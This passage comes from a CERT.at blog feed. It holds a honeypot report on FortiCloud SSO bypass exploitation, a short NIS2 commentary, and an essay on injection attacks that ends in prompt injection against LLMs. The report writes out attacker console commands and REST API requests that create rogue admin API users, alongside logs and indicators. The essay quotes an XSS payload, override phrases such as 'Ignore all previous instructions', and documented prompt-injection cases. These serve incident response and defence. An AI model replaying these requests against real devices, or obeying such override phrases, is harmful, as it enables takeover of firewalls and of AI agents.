device&rsquo;s configuration. This time, instead of an API request, the built-in WebSocket-based terminal feature in the GUI was used. The attacker executed just four commands:</p> <ul> <li class="block"><code>config system console</code></li> <li class="block"><code>set output standard</code></li> <li class="block"><code>show full-configuration user local</code></li> <li class="block"><code>show system ha</code><code></code></li> </ul> <p class="block" style="text-align: justify;">The second command changes how the data are shown, preventing using pagination &ndash; this makes automated processing easier. The last two commands were used to collect the configuration, but instead of the full dump, only specific information about local users and high availability settings was collected. In later attempts, I observed the execution of&nbsp;<code>show full-configuration</code> as well, and the web console access was also used successfully on a FortiWeb instance.</p> <p class="block">Related log entries are:</p> <blockquote> <p class="block">eventtime=[REDACTED] tz="+0100" logid="[REDACTED]" type="event" subtype="system" level="information" vd="root" logdesc="Admin login successful" sn="[REDACTED]" user="admin" ui="jsconsole" method="jsconsole" srcip=[REDACTED] dstip=[REDACTED] action="login" status="success" reason="none" profile="super_admin" msg="<strong>Administrator admin logged in successfully from jsconsole</strong>"</p> <p class="block">eventtime=[REDACTED] tz="+0100" logid="0100044546" type="event" subtype="system" level="information" vd="root" logdesc="Attribute configured" user="admin" ui="jsconsole(192.168.2.254)" action="Edit" cfgtid=983367680 cfgpath="system.console" cfgattr="output[more-&gt;standard]" msg="<strong>Edit system.console</strong> "</p> <p class="block">eventtime=[REDACTED] tz="+0100" logid="[REDACTED]" type="event" subtype="system" level="alert" vd="root" logdesc="Configuration changed" user="admin" ui="jsconsole" msg="<strong>Configuration is changed in the admin session</strong>"</p> </blockquote> <p class="block" style="text-align: justify;">In these logs, we can see that the console was used, but there is no information on what exactly has happened.</p> <h2 class="block" style="text-align: justify;">Fifth Campaign</h2> <p class="block">A few hours later I noticed another different exploitation. This time, the thread actor performed three requests, which created a new access profile, a new API user, and finally an API key for them. The requests look like:</p> <blockquote> <p class="block">POST /api/v2/cmdb/system/accprofile?vdom=root<br />{<strong>"name": "system_api",</strong> "scope": "vdom", "comments": "", "secfabgrp": "read-write", "ftviewgrp": "read-write", "authgrp": "read-write", "sysgrp": "read-write", "netgrp": "read-write", "loggrp": "read-write", "fwgrp": "read-write", "vpngrp": "read-write", "utmgrp": "read-write", "wanoptgrp": "read-write", "wifi": "read-write", "netgrp-permission": {"cfg": "none", "packet-capture": "none", "route-cfg": "none"}, "sysgrp-permission": {"admin": "none", "upd": "none", "cfg": "none", "mnt": "none"}, "fwgrp-permission": {"policy": "none", "address": "none", "service": "none", "schedule": "none", "others": "none"}, "loggrp-permission": {"config": "none", "data-access": "none", "report-access": "none", "threat-weight": "none"}, "utmgrp-permission": {"antivirus": "none", "ips": "none", "webfilter": "none", "emailfilter": "none", "data-loss-prevention": "none", "file-filter": "none", "application-control": "none", "icap": "none", "voip": "none", "waf": "none", "dnsfilter": "none", "endpoint-control": "none"}, "admintimeout-override": "disable", "admintimeout": 10, "system-diagnostics": "enable"}</p> <p class="block">POST&nbsp;/api/v2/cmdb/system/api-user?datasource=1&amp;vdom=root&amp;with_meta=1<br />{<strong>"name": "automation_user"</strong>, "comments": "automation_user", <strong>"accprofile": {"q_origin_key": "system_api"}</strong>, "vdom": [{"name": "root"}], "schedule": "", "cors-allow-origin": "", "peer-auth": "disable", "peer-group": "", "trusthost": []}</p> <p class="block">POST /api/v2/monitor/system/api-user/generate-key?vdom=root<br />{"api-user":<strong> "automation_user"</strong>}</p> </blockquote> <p class="block">The related log entries look like:</p> <blockquote> <p class="block">eventtime=[REDACTED] tz="+0100" logid="[REDACTED]" type="event" subtype="system" level="information" vd="root" logdesc="Object attribute configured" user="admin" ui="GUI([REDACTED])" action="Add" cfgtid=[REDACTED] cfgpath="system.accprofile" cfgobj="system_api" cfgattr="secfabgrp[read-write]ftviewgrp[read-write]authgrp[read-write]sysgrp[read-write]netgrp[read-write]loggrp[read-write]fwgrp[read-write]vpngrp[read-write]utmgrp[read-write]wanoptgrp[read-write]wifi[read-write]" msg="<strong>Add system.accprofile system_api</strong>"</p> <p class="block">eventtime=[REDACTED] tz="+0100" logid="[REDACTED]" type="event" subtype="system" level="information" vd="root" logdesc="Object attribute configured" user="admin" ui="GUI([REDACTED])" action="Add" cfgtid=[REDACTED] cfgpath="system.api-user" cfgobj="automation_user" cfgattr="comments[automation_user]accprofile[system_api]" msg="<strong>Add system.api-user automation_user</strong>"</p> </blockquote> <p class="block" style="text-align: justify;">It seems like this user was then used to download the configuration, but unfortunately the corresponding request is missing in my honeypot logs, most likely due to an issue in my code I discovered later. Interestingly, the FortiOS log entry about downloading configuration seems to be issued shortly <em>before</em> logs about creating the user, and this pattern is present in logs from two different FortiGate instances.</p> <blockquote> <p class="block" style="text-align: justify;">eventtime=[REDACTED] tz="+0100" logid="[REDACTED]" type="event" subtype="system" level="warning" vd="root" logdesc="Admin performed an action from GUI" user="automation_user" ui="RESTAPI([REDACTED])" action="download" status="success" msg="<strong>System config file has been downloaded by user automation_user via RESTAPI</strong>([REDACTED])"</p> </blockquote> <p class="block" style="text-align: justify;">I only observed this campaign on the 22nd of December. The same IP originating from the AWS IP range exploited two different FortiGates but used two different names for created API users.</p> <h2 class="block" style="text-align: justify;">Real Exploit</h2> <p class="block" style="text-align: justify;">The real exploit is still not easy to find online, but my colleague Erik was able to discover and obtain a working script from a toolkit used by an unknown threat actor. The behavior consists of collecting the configuration backup and creating a new admin user, but possible usernames differ from those observed in the honeypot activity. As such, we are pretty confident that the exploit has started to spread among multiple threat actors, and we expect more to discover it.</p> <h2 class="block" style="text-align: justify;">Consequences</h2> <p class="block" style="text-align: justify;">The exploitation allows gaining full administrative control over the device, and the different exploitation attempts are still happening. Intentionally or not, some created accounts used weak passwords, and they have been quickly (in a few hours since creation) caught in brute-forcing attempts... Surprisingly, all by the same IP 178.22.24.20 that started brute force attempts against my honeypots on 2025-12-13, and it seems to use a quite limited set of credentials.</p> <p class="block" style="text-align: justify;">Until last Tuesday, we all believed that the vulnerability was patched, and we could just patiently wait for the next one. The recent report [10] suggests that has never been the case, although we still wait for the official confirmation. More importantly, some public comments suggest the existence of a vulnerability in the general SAML support, contrary to current statements that the scope is limited to FortiCloud SSO. This is not yet confirmed, as there is no evidence available.</p> <p class="block" style="text-align: justify;">Finally, it is important to mention that the flaw exists - so far - only on the management interface. We at CERT.at, and also Fortinet itself [11], strongly recommend keeping management interfaces out of the public internet, regardless of the authentication method used. To highlight the reason for this recommendation (besides newly published vulnerabilities targeting management interfaces), below you can see the number of login attempts to the management interface of one of my FortiGate honeypots in the last two months. On average, it&rsquo;s about 50 thousand attempts daily.</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20260122-forticloud/fortigate-bruteforce.png" width="900" height="151" /></p> <h2 class="block" style="text-align: justify;">Timeline</h2> <p class="block"><em>Time in UTC</em></p> <ul> <li class="block">2025-12-12, around 9 am &ndash; first exploit attempts using public available (invalid) PoCs</li> <li class="block">2025-12-12, around 10 am &ndash; first scans directly for enabled FortiCloud SSO</li> <li class="block">2025-12-19, around 3 pm &ndash; enabling FortiCloud SSO on honeypots</li> <li class="block">2025-12-19, around 9 pm &ndash; first successful exploitation (Campaign 1)</li> <li class="block">2025-12-20, around 8 am &ndash; first successful configuration dump (Campaign 2)</li> <li class="block">2025-12-21, around 2 am &ndash; first new user created (Campaign 3)</li> <li class="block">2025-12-22, around 2 am &ndash; first configuration dump using terminal in GUI (Campaign 4)</li> <li class="block">2025-12-23, around 8 am &ndash; first profile and API user created (Campaign 5)</li> <li class="block">Now &ndash; exploitation did not stop; almost all campaigns are still active. Last recorded exploitation: 2026-01-22</li> </ul> <h2 class="block">Indicators of Compromise</h2> <h3 class="block">Usernames used in the initial authorization bypass</h3> <ul> <li class="block">admin</li> <li class="block">support@forticloud.com</li> <li class="block">admin.workspace@gmail.com</li> </ul> <h3 class="block">Created access profiles</h3> <ul> <li class="block">admin_api</li> <li class="block">system_api</li> </ul> <h3 class="block">Created API users</h3> <ul> <li class="block">apiadmin</li> <li class="block">automation_user</li> </ul> <h3 class="block">Created admin accounts</h3> <ul> <li class="block">sync</li> <li class="block">reports</li> <li class="block">forti-autosync</li> <li class="block">monitor</li> <li class="block">master_admin</li> <li class="block">security_admin</li> <li class="block">root_admin</li> <li class="block">admin1</li> <li class="block">admin2</li> <li class="block">adm1n</li> <li class="block">adm2n</li> <li class="block">admin3</li> <li class="block">roadmin</li> </ul> <h3 class="block">IP addresses performing exploitation</h3> <ul> <li class="block">38.60.203.31</li> <li class="block">185.173.235.232</li> <li class="block">161.35.185.133</li> <li class="block">216.126.237.142</li> <li class="block">45.131.153.211</li> <li class="block">138.197.113.70</li> <li class="block">45.152.65.134</li> <li class="block">16.79.57.21</li> <li class="block">223.254.128.15</li> <li class="block">43.173.167.151</li> <li class="block">103.106.230.140</li> <li class="block">167.71.200.26</li> <li class="block">81.90.188.105</li> <li class="block">149.255.35.151</li> <li class="block">108.61.187.236</li> </ul> <p class="block"><em>Known VPN and proxies were excluded from the list.</em></p> <h2 class="block">References</h2> <p class="block">[1] <a href="https://www.fortiguard.com/psirt/FG-IR-25-647">https://www.fortiguard.com/psirt/FG-IR-25-647</a><br />[2] <a href="https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-sso-logins-following-disclosure-cve-2025-59718-cve-2025-59719/">https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-sso-logins-following-disclosure-cve-2025-59718-cve-2025-59719/</a><br />[3] <a href="https://www.vulncheck.com/blog/forticloud-sso-login-bypass">https://www.vulncheck.com/blog/forticloud-sso-login-bypass</a><br />[4] <a href="https://www.cert.at/de/warnungen/2025/12/kritische-sicherheitslucken-in-mehreren-fortinet-produkten-forticloud-sso-aktiv-ausgenutzt-updates-verfugbar">https://www.cert.at/de/warnungen/2025/12/kritische-sicherheitslucken-in-mehreren-fortinet-produkten-forticloud-sso-aktiv-ausgenutzt-updates-verfugbar&nbsp;</a><br />[5] <a href="https://www.linkedin.com/posts/drayagha_for-the-latest-fortigate-cves-cve-2025-59718-activity-7407214356226281473-K0vf">https://www.linkedin.com/posts/drayagha_for-the-latest-fortigate-cves-cve-2025-59718-activity-7407214356226281473-K0vf&nbsp;</a><br />[6] <a href="https://github.com/darses/nuclei-templates/blob/fe913cc2030e33d69fdb5b1265483995f05e66ab/drafts/fortinet-fortios-cloudsso-detect.yaml">https://github.com/darses/nuclei-templates/blob/fe913cc2030e33d69fdb5b1265483995f05e66ab/drafts/fortinet-fortios-cloudsso-detect.yaml&nbsp;</a><br />[7] <a href="https://github.com/rix4uni/cvemapping/blob/7111dd6bac7aef9a4e324e38920851cfd41e36f0/2025/CVE-2025-59718/CVE-2025-59718.py">https://github.com/rix4uni/cvemapping/blob/7111dd6bac7aef9a4e324e38920851cfd41e36f0/2025/CVE-2025-59718/CVE-2025-59718.py&nbsp;</a><br />[8] <a href="https://github.com/fortinet-solutions-cse/fortiosapi/blob/de593924f2b1018f1bfc85d4487858bdb676ebfc/tests/test_fortiosapi_virsh.py#L326">https://github.com/fortinet-solutions-cse/fortiosapi/blob/de593924f2b1018f1bfc85d4487858bdb676ebfc/tests/test_fortiosapi_virsh.py#L326</a><br />[9] <a href="https://github.com/fortinet-solutions-cse/fortiosapi/blob/master/fortiosapi/fortiosapi.py#L387">https://github.com/fortinet-solutions-cse/fortiosapi/blob/master/fortiosapi/fortiosapi.py#L387&nbsp;</a><br />[10] <a href="https://www.reddit.com/r/fortinet/comments/1qibdcb/possible_new_sso_exploit_cve202559718_on_749/">https://www.reddit.com/r/fortinet/comments/1qibdcb/possible_new_sso_exploit_cve202559718_on_749/&nbsp;</a><br />[11] <a href="https://docs.fortinet.com/document/fortigate/7.6.0/best-practices/317406/management-network">https://docs.fortinet.com/document/fortigate/7.6.0/best-practices/317406/management-network&nbsp;</a><br />[12]&nbsp;<a href="https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-configuration-changes-fortinet-fortigate-devices-via-sso-accounts/">https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-configuration-changes-fortinet-fortigate-devices-via-sso-accounts/&nbsp;</a></p>Thu, 22 Jan 2026 16:41:10 GMT+0100https://www.cert.at/en/blog/2026/1/look-at-forticloud-sso-bypass-exploitationCERT.at2026-01-22T16:41:10Zhttps://www.cert.at/en/blog/2026/1/a-patch-for-the-nis2-directive<p class="block">On January 20th, 2026 the <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_105">EU Commission presented a package of legislative proposals</a>, including an update to the NIS2 directive.</p> <p class="block">In software terms, this would be a maintenance release. Fix some issues that came up while trying to run the program (well, installing it in all 27 Member States certainly took longer that expected), adapt it to a changing environment while hopefully being a simple change.</p> <p class="block">Obvious bug-fixes are:</p> <ul> <li class="block">a minimum size for DNS server operators be relevant</li> <li class="block">don't make every large company with a bit of PV on the roof an entity in the electricity sector</li> </ul> <p class="block">Adaptions concern things like the inclusion of Providers of European Digital Identity Wallets and special reporting requirements for ransomware cases.</p> <h2 class="block">And what might change for us CSIRTs?</h2> <p class="block">The commission proposes a change to the definition of the CSIRTs network:</p> <p class="block" style="padding-left: 30px;">The CSIRTs network shall be composed of representatives of the CSIRTs designated or established pursuant to Article 10, the computer emergency response team for the Union&rsquo;s institutions, bodies and agencies (CERT-EU) <strong>and ENISA</strong>.</p> <p class="block">ENISA also receives a fully new article Article 37a which describes ENISA&rsquo;s role in mutual assistance.</p> <p class="block">This should be read in conjuction with the newly proposed update to the <a href="https://digital-strategy.ec.europa.eu/en/library/proposal-regulation-eu-cybersecurity-act">Cybersecurity Act</a> which defines the role of ENISA. This one is still on my reading list.</p> <p class="block">I'm ambivalent on this. Yes, ENISA is increasingly doing operational work, tracking incidents accross Europe and providing alerts and statistics. But they don't do incident response. They facilitate and coordinate. This might change, and yes, the CSA might contain a few easter eggs in that direction.</p> <h2 class="block">What is missing in the proposal?</h2> <ul> <li class="block">As <a href="https://www.cert.at/de/blog/2025/11/ein-kurzer-blick-auf-das-nisg-2026">I have written in the German blog</a>, Recital (44) in the NIS2 text originated from the EP's version going into the trilogue, but the corresponding articles didn't make it into the final directive. It should be struck by this update to clear up the confusion it caused.</li> <li class="block">Article 15(3)n references "regional and Union-Level Security Operations Centres (SOCs)". Back when this was written, we didn't really know what this is all about, but as far as I can see, this is a reference to the "national and cross-border SOCs" from early Cyber Solidarity Act drafts. In the final version, these are now called "national and cross-border cyber hubs", so I think that the update to the NIS2 text should harmonize the language. Adding a reference to the CSoA there wouldn't hurt, either.</li> <li class="block">Clear up the confusion regarding national cooperation forums. There is Article 11(4) which might be related to Article 19 and then there are the national cyber hubs from the CSoA. Are these separate things? Do they overlap? See also <a href="https://www.cert.at/en/blog/2023/9/european-cyber-shield">here</a>.</li> <li class="block">And then there is the evergreen of the CNW definition with "representatives of CSIRTs" and the use of the term "national CSIRT". I'll just <a href="https://www.cert.at/en/blog/2021/11/an-update-on-the-state-of-the-nis2-draft">link to my previous rant</a> on these points.</li> </ul> <p class="block">This is a quick reaction to the proposal from the Commission. I might write a more detailed review in the future.</p> <p class="block">&nbsp;</p> <p class="block">&nbsp;</p> <p class="block">&nbsp;</p>Wed, 21 Jan 2026 17:59:06 GMT+0100https://www.cert.at/en/blog/2026/1/a-patch-for-the-nis2-directiveCERT.at2026-01-21T17:59:06Zhttps://www.cert.at/en/blog/2025/12/dont-say-jehova-to-an-llm<p>The Rabbi in the old skit from Monty Python's "Life of Brian" fell for it, and for a long time, philosophers argued whether quoting someone is fundamentally different to just saying the sentence. I remember a story where one actor smuggled a wedding promise in a co-actor's copy of his lines: After the vow was made on the set and the sentence couldn't be found in the official script: is the actor now bound in real life by his promise?</p> <p>This mix of semantic levels is also at the core of a lot of cyber security problems: data gets misinterpreted as code and so an attacker can achieve code execution. With the emergence of LLMs, this never-ending story gets a new twist.</p> <p>But first, let's first give some context and background - and no, I won't go back to antiquity again.</p> <h1>In-Band signalling</h1> <p>In some communication networks, certain control signals are mixed into the payload. The perhaps most famous case was the US phone network, where a tone of 2600 Hz was used to signal various state-changes within the phone network.</p> <p>That tone should only be generated by the operators own equipment, but if one of their customers injects that tone by blowing suitable whistle, then it was interpreted by the network as well. That <a href="https://en.wikipedia.org/wiki/Phreaking">enabled interesting use-cases</a>, not all of which were in the best interest of the network operator.</p> <p>It's the same problem: is the network just transmitting a tone, or is it sending a signal to another node?</p> <p>I've also seen several cases where humans put processing instructions in data fields that were supposed to contain content. If the other side is not a human, or perhaps someone who doesn't speak the same language, then those instructions are not followed, but taken as a literal input, e.g. <a href="https://whatsthejam.com/lifestyle/mum-left-howling-after-t-shirt-from-temu-comes-with-very-awkward-mistake/">text to be printed on a t-shirt</a>.</p> <p>It can also be the other way round: An LLM is asked to produce a text, but instead of just writing the desired article, it also prints a preamble like "An suitable essay for your question could be the following:" and a footer that contains hints to improve prompting "If you want to spice up your story, do X or Y.". Hilarity ensues if a <a href="https://bsky.app/profile/plocaploca.bsky.social/post/3m4kbikwcbc2l">journalist</a> or a student copies the full answer - including preamble and <a href="https://uebermedien.de/110661/ki-programm-quatscht-in-spiegel-text-einfach-dazwischen/">instructions</a> - into their final product.</p> <p>I never used speech to text systems, but I think their worst case is dictating the manual for this system: You need to describe the voice commands that trigger actions like "delete last word" or "start boldface now", but in this case the system shouldn't treat them as commands but insert them as text into the document. This is also not new, numerous skits and movies used the trope of a secretary transcribing comments that were not intended to be included in the dictation.</p> <h1>The Von Neumann architecture - Buffer overflow</h1> <p>One of the major features of the currently prevailing computer architecture is the generic nature of memory. RAM is a place to store arbitrary pieces of information: it just remembers and retrieves patterns of bits, but it does not care how the CPU will interpret those bits. If you use tools to peek at the memory content during debugging, you need to tell the debugger how to interpret the data, that's why debugging symbols left by the compiler in the executable can be handy.</p> <p>One consequence of this type-agnostic memory is that bug in software regarding where to store data can cause a data/code confusion: an old-school buffer overflow in the stack is exactly this: The program wants to store a piece of data and overshoots the allocated memory and ends up overwriting the return value which causes the CPU to interpret the newly received data as code and execute it.</p> <p>Mitigations against this have a long history: the <a href="http://www.bitsavers.org/www.computer.museum.uq.edu.au/pdf/DEC-11-HGKTCB-D%20PDP-1145%20Memory%20Management%20Reference%20Manual.pdf">PDP11/45 with its MMU</a> had already the concept of distinct Instruction vs. Data space. Modern processors also allow the operating systems to tag virtual memory regions as non-executable. The emergence of <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">Return Oriented Programming</a> gave the attackers a way to work around this protection.</p> <p>To summarize: The program received a piece of data, made mistakes in storing it and so the sequence of bytes was turned from e.g., a string of characters into a sequence of machine code commands (or a sequence of references to code gadgets).</p> <p>The best way to eliminate this kind of problem is to use a memory-safe language. It really shouldn't be up to the coder to make sure that buffer size constraints are checked on every write.</p> <p>Less effective, another defence against such attacks emerged with signature-based anti-virus software. The idea is that the shell code contained input data could be detected, and the processing of such dangerous input could be aborted.</p> <p>Apple recently announced their "<a href="https://security.apple.com/blog/memory-integrity-enforcement/">Memory Integrity Enforcement</a>" which is a creative way to link pointers to memory regions which should eliminate out-of-bound writes. Let's see how this will work out in practice.</p> <h1>SQL-Injection</h1> <p>SQL is a query language for databases: it contains both keywords like "SELECT", "WHERE" as well as the possibility to convey arguments. That may be simple and intuitive for numerical or Boolean values, e.g.</p> <p>"select * from users where disabled = false and age &gt; 18"</p> <p>but once strings are involved, things start to get tricky. The query</p> <pre>select street from restaurants where name = 'Zur Post'</pre> <p>is simple enough, but what about names like "Fred's Pizza"? Then we run in the old issue of having to escape meta-characters. You need to tell the SQL parser that the single-quote symbol in the string is not denoting the end of the string but is actually part of the string. You're just quoting the ', and you are not saying it as part of the SQL statement's syntax.</p> <p>Taking user input and directly dropping it into an SQL query opens your application up for an inject attack: if the attacker includes a single quote, the rest of the argument turns from being treated as a simple sequence of characters into a SQL command.</p> <p>What are the countermeasures here? The obvious one is to correctly escape the string before putting it in the query. Yes, but the better solution is to use prepared statements and thus never put a user-supplied string into a query at all. Or sidestep the problem completely by using an ORM which gives you a nice object-oriented interface for the storage of data - obliviating the need to write SQL queries.</p> <p>As a band-aid or second line of defence, a Web Application Firewall (WAF) can try to prevent any input that looks like it might be an injection attack, from even reaching your webserver.</p> <h1>Shell injection</h1> <p>The same applies to applications that take input from the network and turn them into a command-line parameter. If you are directly calling the other program and handing over its parameters as an array of strings. (e.g., e.g. using the Posix execl system call) you should be fine, but if you're just building a full command line to be passed to system(), then the C library will call a shell which then parses the full string into the positional arguments and starts the desired command.</p> <p>But the shell is powerful. It will replace variables like $PWD and even execute command when the idioms ``` command``&nbsp; and $(command) are used. Thus, if you just simply take a parameter from the network and dump it into the argument for a system() call, you just build a remote code execution vulnerability.</p> <p>The recommendations here are a) avoid invoking via a shell, and b) do heavy duty input filtering (optimally by just allowing a safe set of characters). I really don't recommend trying to escape all possible shell meta-characters.</p> <p>And yes, a WAF might also catch some of these attacks.</p> <h1>Cross Site Scripting (XSS)</h1> <p>HTML is yet another language that mixes content and control instructions which are either XMl-style tags like "&lt;p&gt;" or character references like "&amp;auml:". That means that &lt;, &gt;, and &amp; are special characters which need to be escaped if they should appear themselves in a document.</p> <p>The most basic XSS vulnerability is a simple search field in a web page. The results page usually contains language like "You search for YOUR_INPUT found the following hit" following by a list of links. If the search query is echoed back verbatim here, then a search for "&lt;script&gt;alert("XSS");&lt;/script&gt;" will include this script as an active command for the browser and will trigger an alert dialog. To avoid this issue, the control characters need to be escape, e.g., by replacing &lt; with &amp;lt;.</p> <p>Modern web frameworks handle all this correctly and will automatically escape text inserted into a generated webpage - unless the code explicitly indicates that yes, there really should be active code added to the page.</p> <p>Again, a WAF might help here, too.</p> <h1>String Substitutions</h1> <p>In multiple systems and setups, strings of characters are not only a passive text, but can also contain processing instructions. A really old example is the format string in the printf() function of the C library. For example:</p> <pre>printf("This is an integer: %i\nAnd this is a string %s\n", i, str);</pre> <p>will insert a textual representation of a number and a string into the format string, replace the \n with the newline character and send the result to the standard output. So far, so harmless. But what happens when a coder uses printf(str) instead of printf("%s", str)? If someone manages to smuggle printf substitution codes into str, then the printf function will follow an undefined pointer and will print some random data from the memory of the program.</p> <p>Much worse, the Java logging framework "log4j" also implements variable substitution when processing events. One of these substitutions was so powerful that it led to remote code execution when data from the network was not carefully handled. Known as "log4shell", this vulnerability caused a frantic search for affected systems in late 2021.</p> <h1>Mixing data and code</h1> <p>This is slightly different: this is not about programming errors, but about bad design decisions and the resulting human errors. There is thus no "this is how you need to code to avoid that type of error".</p> <h2>Macros</h2> <p>The possibility to add code to office documents, e.g. to enhance the built-in function or to enable crude automation workflows, was perhaps well intended, but very much ill conceived. It turned something that users mainly saw as passive documents, into executed code with full access to the current user's account. It took Microsoft ages, and its customers an uncountable numbers of malware infections and ransomware incidents, to rectify that initial mistake. Now ".docx" files are not allowed to contain macros, their execution is disabled by default, macros can be signed, and the mark-of-the-web adds another minor layer of protection.</p> <h3>LNK Files</h3> <p>Here, again, Microsoft's drive for ever more features backfired on the user's security. Instead of just implementing the functionality of symbolic links on top of filesystems that don't natively support them, it created the .lnk File in all its glory. Someone really clever in Redmond apparently said: "Why don't we just not only enable referring to an executable, but also add the option of passing command-line arguments to it?"</p> <p>What they missed is the fact that this turned .lnk into the old "how much code can you fit into one line" challenge from bygone eras. By linking to powershell.exe and passing a short program on the command line, a .lnk is basically a program file. It should be treated with the <a href="https://unit42.paloaltonetworks.com/lnk-malware/">same caution as a .bat or .exe file.</a></p> <h2>Adding JavaScript</h2> <p>Sigh.</p> <p>Initially, HTML was a static document markup language. There was no interactivity, not even the responsiveness that modern CSS offers. Thus, these files were harmless. There was no code, opening them either opened an editor or a browser to render them.</p> <p>With the inclusion of JavaScript (let's just ignore Java Applets, Flash, Silverlight and other abominations) changed all this. First, a static website just got a bit more interactive and before long, modern Websites are full-blown applications which are downloaded into and executed by your browser. In some ways, the browser is the new operating system, good examples are the Google suite of applications and the re-implementation of early 2000 games in WebAssembly.</p> <p>Vulnerabilities in the browser which let code jump out of the JavaScript sandbox and infect the operating system with malware have been a frequent security threat over the last 20 years. It seems to get a bit better, but that may also be due to the fact that browsers are patched on a very aggressive schedule. E.g., Microsoft Edge is not waiting for the next Patch Tuesday before asking the user for a restart to apply a patch.</p> <p>For a while, opening local html files with a browser led to a very generous interpretation of the Same-Origin Policy giving the embedded JavaScript way too many permissions. The old Microsoft Internet Explorer included a zone model giving webpages from (hopefully justifiably) trusted servers additional permission.</p> <p>All in all, the gradual transformation from static HTML to a single-page JavaScript application led to numerous misinterpretations of security properties and led to a slew of vulnerabilities.</p> <p>But it's not just HTML that was spiced up with JavaScript. PDF and SVG got the same treatment with similar security impact. Regrettably, there is no .pdfx vs. pdfm distinction to give users a chance to know which document contains code and which doesn't.</p> <h1>Prompt Injection</h1> <p>One of the new and interesting properties of LLM and assorted chat-bots is the fact that you communicate with them in your native language, e.g., English. You no longer need to tell the computer in some special language what to do, there is no need to learn SQL, C, JavaScript, Python, Java or Rust anymore, instead the LLM will do the translation from the human world itself. This is, of course, hugely transformative as the hurdle to make use of an LLM-assistant dropped by quite a lot.</p> <p>But the human language is tricky. The grammar is not as strict as with the formal computer languages. Forget about understanding irony or humour. And, most importantly, common sense.</p> <p>In a way, these chatbots can feel like a very powerful co-worker that you can ask for assistance. The "Co-Pilot" branding for Microsoft's offering also suggests this. But this co-worker is on a very different mental spectrum than any functional real human. It has a very limited understanding of the subtleties and the context of all the input it processes.</p> <p>All this reminds me of a phishing incident I heard of a few years back: A CEO received a phishing mail just forwarded it to the secretary with a vague "please handle this", meaning "take a look at it, determine the mail's validity and act accordingly" whereas the secretary understood "please execute what this mail demands".</p> <p>This is exactly where we are with LLMs: we're handing it data to process and act upon, and we hope that it can understand the difference between "Read this text and be sensible and cautious in what you do with it" and "follow the orders contained in this text".</p> <p>All of this is happening in English, German or other human languages. Which means:</p> <ul> <li>It can be imprecise and ambiguous.</li> <li>The interpretation may depend a lot on context.</li> <li>It can be plain text, but it can also be hidden in pictures. Both easily visible, but also in a way a human can't see it as clearly as the LLM.</li> <li>It's not a formal language where you can easily spot the code. Python, C, SQL or even Cobol can be easily detected, filtered and made inert.</li> <li>Quoting rules can already be tricky with formal languages (e.g., writing makefiles that execute commands with non-trivial shell features like backticks, variables and single and double quotes). Are there even formal definitions on how quoting should work for LLMs? Are they standardized?</li> <li>We're completely blurring the line between code and data. Both is text.</li> </ul> <p>This has gone wrong already, and these issues will be serious vulnerabilities going forward.</p> <h2>What have we seen?</h2> <p>This is certainly not an exhaustive list, but only a collection of what I remember reading about and/or noted down a link for it.</p> <ul> <li><a href="https://knowyourmeme.com/memes/ignore-all-previous-instructions">Twitter bots</a> Answering with "Ignore all previous instructions and &hellip;" caused LLM-driven bots to execute the instruction.</li> <li><a href="https://www.linkedin.com/feed/update/urn:li:activity:7376238154787364864/">LinkedIn Info scraped by bots</a> This time, "[/admin][begin_admin_session]" was used to get bots to treat the following English text as a command.</li> <li><a href="https://www.bleepingcomputer.com/news/security/new-ai-attack-hides-data-theft-prompts-in-downscaled-images/">Instructions hidden in an image</a> Using downscaling to reveal the command.</li> <li><a href="https://securetrajectories.substack.com/p/claude-skill-hijack-invisible-sentence">Injecting instructions with white-on-white text</a> This time, the target is a Claude Skill.</li> <li><a href="https://embracethered.com/blog/posts/2024/ascii-smuggling-and-hidden-prompt-instructions/">Unicode Tag Characters and ASCII Smuggling</a> Which could be used to trick <a href="https://embracethered.com/blog/posts/2024/whoami-conditional-prompt-injection-instructions/">Copilot to execute commands</a>.</li> <li>LLMs as Ransomware actors (<a href="https://engineering.nyu.edu/news/large-language-models-can-execute-complete-ransomware-attacks-autonomously-nyu-tandon-research">Research note</a>, <a href="https://www.eset.com/gr-en/about/newsroom/press-releases-1/eset-discovers-promptlock-the-first-ai-powered-ransomware-1/">industry reaction</a>) This was not a real-world attack, but for me this shows a completely new way to smuggle code in a target environment: Just convey what you want to achieve in English and let an LLM agent do the coding on demand.</li> <li><a href="https://www.heise.de/en/news/Grammatical-errors-make-prompt-injections-more-likely-10623349.html">Writing long text without punctuation</a> Apparently, that can overload the context windows of LLMs.</li> <li><a href="https://brave.com/series/security-privacy-in-agentic-browsing/">Agentic Webbrowsers have issues</a> Whether they are summarizing webpages, parse hidden html tags or screenshots, traditional web security assumptions do not hold.</li> <li><a href="https://thehackernews.com/2025/09/researchers-disclose-google-gemini-ai.html">Google Gemeni also was affected</a> Three vulnerabilities were found.</li> </ul> <p>Thomas Roccia publishes a <a href="https://jupyter.securitybreak.io/IoPC/AdversarialPrompts.html">nice classification of Adversarial Prompts</a> on SecurityBreak.io. Currently, he lists 38 vectors in four categories.</p> <h2>What can we expect?</h2> <p>The team from Brave <a href="https://brave.com/blog/unseeable-prompt-injections/">found this consistent theme</a> in agentic browsing vulnerabilities:</p> <p style="padding-left: 30px;">Readers will note that each of these attacks look similar. Fundamentally, they boil down to a failure to maintain clear boundaries between trusted user input and untrusted Web content when constructing LLM prompts while allowing the browser to take powerful actions on behalf of the user.</p> <p style="padding-left: 30px;">We recognize that this is a hard problem, and we have some longer-term ideas that we're exploring in collaboration with our <a href="https://brave.com/research/">research</a> and security teams to address such problems. But until we have categorical safety improvements (i.e., across the browser landscape), agentic browsing will be inherently dangerous and should be treated as such. In the meantime, browsers should isolate agentic browsing from regular browsing and initiate agentic browsing actions (opening websites, reading emails, etc.) only when the user explicitly invokes them.</p> <p>This is a good summary, and it applies in similar fashion to other applications of LLMs that deal with user-supplied input as well.</p> <p>There will be no simple solution.</p> <p>If we look back to the long list of non-LLM solutions, we can check some of the solutions developed there can help us going forward. Let's see:</p> <p><strong>Separate control instructions from data:</strong> This is tricky. Both can be English text. There is no (or at least not always) clear protocol framing that separates these two. People are mucking with quotation marks and other in-band framing band-aid. I haven't seen the equivalent of an SQL prepared statement.</p> <p><strong>Filtering out malicious code:</strong> We probably already failing at "detecting 